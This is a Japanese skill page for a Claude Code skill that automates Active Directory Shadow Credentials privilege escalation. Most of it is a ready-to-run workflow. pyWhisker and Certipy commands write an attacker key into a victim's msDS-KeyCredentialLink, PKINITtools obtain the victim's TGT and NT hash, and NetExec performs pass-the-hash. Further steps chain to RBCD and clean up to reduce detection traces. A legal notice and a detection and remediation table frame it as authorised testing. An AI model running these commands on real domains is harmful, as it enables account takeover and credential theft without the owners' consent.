abusing-shadow-credentials-for-privesc について
Active Directory の Shadow Credentials による権限昇格を、許可されたセキュリティテストで検証するスキルです。pyWhisker または Certipy で `msDS-KeyCredentialLink` を操作し、対象の TGT と NT ハッシュを取得して変更を戻す手順を扱います。
主な機能
- 01`msDS-KeyCredentialLink` の書き込み権限確認
- 02Key Credential の追加と削除
- 03PKINIT による対象 TGT の取得
- 04対象の NT ハッシュ回収
- 05ACL 経路と修正策の記録
活用シーン
- 01BloodHound で見つかった書き込み権限経路の評価
- 02パスワードをリセットしないアカウント乗っ取りの検証
- 03コンピューターアカウント乗っ取りと RBCD の連鎖演習
- 04紫チーム演習での関連テレメトリー生成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill abusing-shadow-credentials-for-privescインストール後、Claude Code で/abusing-shadow-credentials-for-privescを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
シャドウ認証情報を悪用した権限昇格
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限って使用してください。シャドウ認証情報を使用すると、対象アカウントを完全に乗っ取ることができます。ご自身が所有するシステム、またはテストを行う書面による明示的な許可を得たシステムに限って使用してください。不正アクセスは犯罪です。
概要
シャドウ認証情報の手法は、Active Directory のユーザーオブジェクトおよびコンピューターオブジェクトの msDS-KeyCredentialLink 属性を悪用します。この属性には、Windows Hello for Business や Azure AD のデバイス登録で、PKINIT(Kerberos の初回認証に使用する公開鍵暗号)を介したパスワードレスの証明書ベースログオンに使われる、生の公開鍵(「キー認証情報」)が保存されます。攻撃者が対象オブジェクトの msDS-KeyCredentialLink に対する書き込み権限を持っている場合(通常は BloodHound に表示される GenericWrite、GenericAll、WriteProperty、または AddKeyCredentialLink ACE によって付与されます)、攻撃者が生成した公開鍵を追加できます。その後、対応する秘密鍵を使って PKINIT 経由で対象の TGT を要求し、対象の NT ハッシュを取得することで、パスワードをリセットせずにアカウントを完全に乗っ取れます。これは、強制的なパスワードリセットよりもはるかに発覚しにくい方法です。
この手法は Elad Shamir によって発表され(「Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover」)、C# ツール Whisker として実装されました。Python 版の pyWhisker(ShutdownRepo)は LDAP 経由で属性を操作し、Certipy は certipy shadow auto を通じて一連の処理を統合しています。対象環境は PKINIT をサポートし、Windows Server 2016 以降を実行するドメインコントローラーが少なくとも 1 台必要です。出典:pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。
使用する場面
- BloodHound で、より価値の高いユーザーまたはコンピューターに対する
GenericWrite/GenericAll/AddKeyCredentialLinkが確認された場合 ForceChangePasswordのより発覚しにくい代替手段として(パスワードをリセットしないため、混乱やアラートを抑えられます)- コンピューターアカウントを乗っ取り、リソースベースの制約付き委任(RBCD)へと攻撃をつなげる場合
- 正規ユーザーをロックアウトせずにアカウントを乗っ取る必要があるレッドチーム活動で
msDS-KeyCredentialLinkの変更テレメトリを生成するパープルチーム演習で
前提条件
- AD の認証情報アクセス手法を含む、許可されたエンゲージメントのスコープ
- 対象の
msDS-KeyCredentialLinkへの書き込みアクセス権を持つプリンシパルの制御 - PKINIT が有効で、キー信頼をサポートするドメイン機能レベルの Windows Server 2016 以降を実行する DC
- DC 上の LDAP(389/636)および Kerberos(88)へのネットワーク到達性
- Python 3.8 以降を実行する Linux 攻撃ホスト。ツールをインストールします:
# pyWhisker (from source) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (integrated shadow attack) pipx install certipy-ad # PKINITtools for manual TGT/NT-hash extraction git clone https://github.com/dirkjanm/PKINITtools
目標
- 対象の
msDS-KeyCredentialLinkに対する書き込みアクセス権を確認する - キーペアを生成し、対象オブジェクトにキー認証情報を追加する
- 新しいキーを使って PKINIT 経由で対象の TGT を要求する
- 対象の NT ハッシュを取得し、パス・ザ・ハッシュやその後の侵入拡大に利用する
- 注入したキー認証情報を削除し、オブジェクトの状態を元に戻す
- 攻撃を可能にした ACL の経路を記録し、修正に役立てる
MITRE ATT&CK マッピング
| ID | 手法 | このスキルでの適用方法 |
|---|---|---|
| T1098.005 | アカウント操作:デバイス登録 | 攻撃者が制御するキー認証情報(デバイスキー)を msDS-KeyCredentialLink に書き込み、対象アカウントに代替の認証情報を登録します |
ワークフロー
ステップ 1:書き込み権限を確認する
対象に存在するキー認証情報を一覧表示し、必要なアクセス権があることを確認します。結果が空、または読み取り可能であれば、add ステップに必要な書き込みアクセス権があることを確認できます。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
ステップ 2:pyWhisker でシャドウ資格情報を追加する
証明書と鍵のペアを生成し、対象の msDS-KeyCredentialLink に書き込みます。pyWhisker は、自分で管理できる PFX を出力します。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password
チケットしか持っていない場合は、パスワードの代わりに Kerberos 認証を使用します。
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
ステップ 3:PKINIT 経由で TGT を要求する
生成した PFX を PKINITtools と組み合わせて使用し、対象の Kerberos TGT を取得します。
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
ステップ 4:NT ハッシュを取得する
ステップ 3 のセッションキーを使って AS-REP から対象の NT ハッシュを抽出します(getnthash.py は、gettgtpkinit.py に表示される AS-REP の暗号化キーを読み取ります)。
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
ステップ 5:Certipy によるワンショットの代替手段
Certipy の shadow auto は、追加 → PKINIT → ハッシュのダンプ → クリーンアップを自動的に実行するため、コンピューターアカウントの乗っ取りに最適です。
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
ステップ 6:取得した資格情報を使用する
NT ハッシュ(または TGT)で認証し、エンゲージメントを続けます。
# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
ステップ 7:コンピューターの乗っ取りを RBCD につなげる(任意)
対象がコンピューターの場合、取得した鍵/ハッシュを使ってリソースベースの制約付き委任を構成し、そのホスト上で任意のユーザーになりすますことができます。
# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
ステップ 8:クリーンアップする
挿入した Key Credential を削除してオブジェクトを復元し、検出の痕跡を減らします。
# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
ツールとリソース
| リソース | 目的 | リンク |
|---|---|---|
| pyWhisker | msDS-KeyCredentialLink を操作する Python LDAP ツール | https://github.com/ShutdownRepo/pywhisker |
| Whisker | 元となった C# 実装 | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto によるエンドツーエンドの乗っ取り | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | 手法の解説と防御策 | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
検出と修復に関する注意事項
| 領域 | ガイダンス |
|---|---|
| 検出 | Windows セキュリティイベント ID 5136(ディレクトリオブジェクトの変更)を監視し、msDS-KeyCredentialLink の変更を検出します。AD Connect/Intune 以外のプリンシパルがこの属性に書き込んだ場合は、アラートを発行します。 |
| 監査 | ユーザー/コンピューターの OU で、ディレクトリサービスオブジェクト変更の監査を有効にします。 |
| 最小権限 | 不要な GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound の AddKeyCredentialLink エッジ)を削除します。 |
| 緩和策 | Windows Hello/デバイス登録を使用していない場合は、Key Credential の書き込み権限を制限し、Tier 0 の保護対象アカウントの使用を検討します。 |
検証基準
- 対象の
msDS-KeyCredentialLinkに対する書き込み権限を確認済み(listが成功) - Key Credential の追加に成功(PFX を生成)
- 対象アカウントの PKINIT TGT を取得
- 対象の NT ハッシュを取得し、サービスに対して検証
- (コンピューターの場合)RBCD の連鎖または次の段階への移動を実証
- 挿入した Key Credential を削除し、オブジェクトを復元
- ACL の有効化経路を文書化し、修復の推奨事項を記載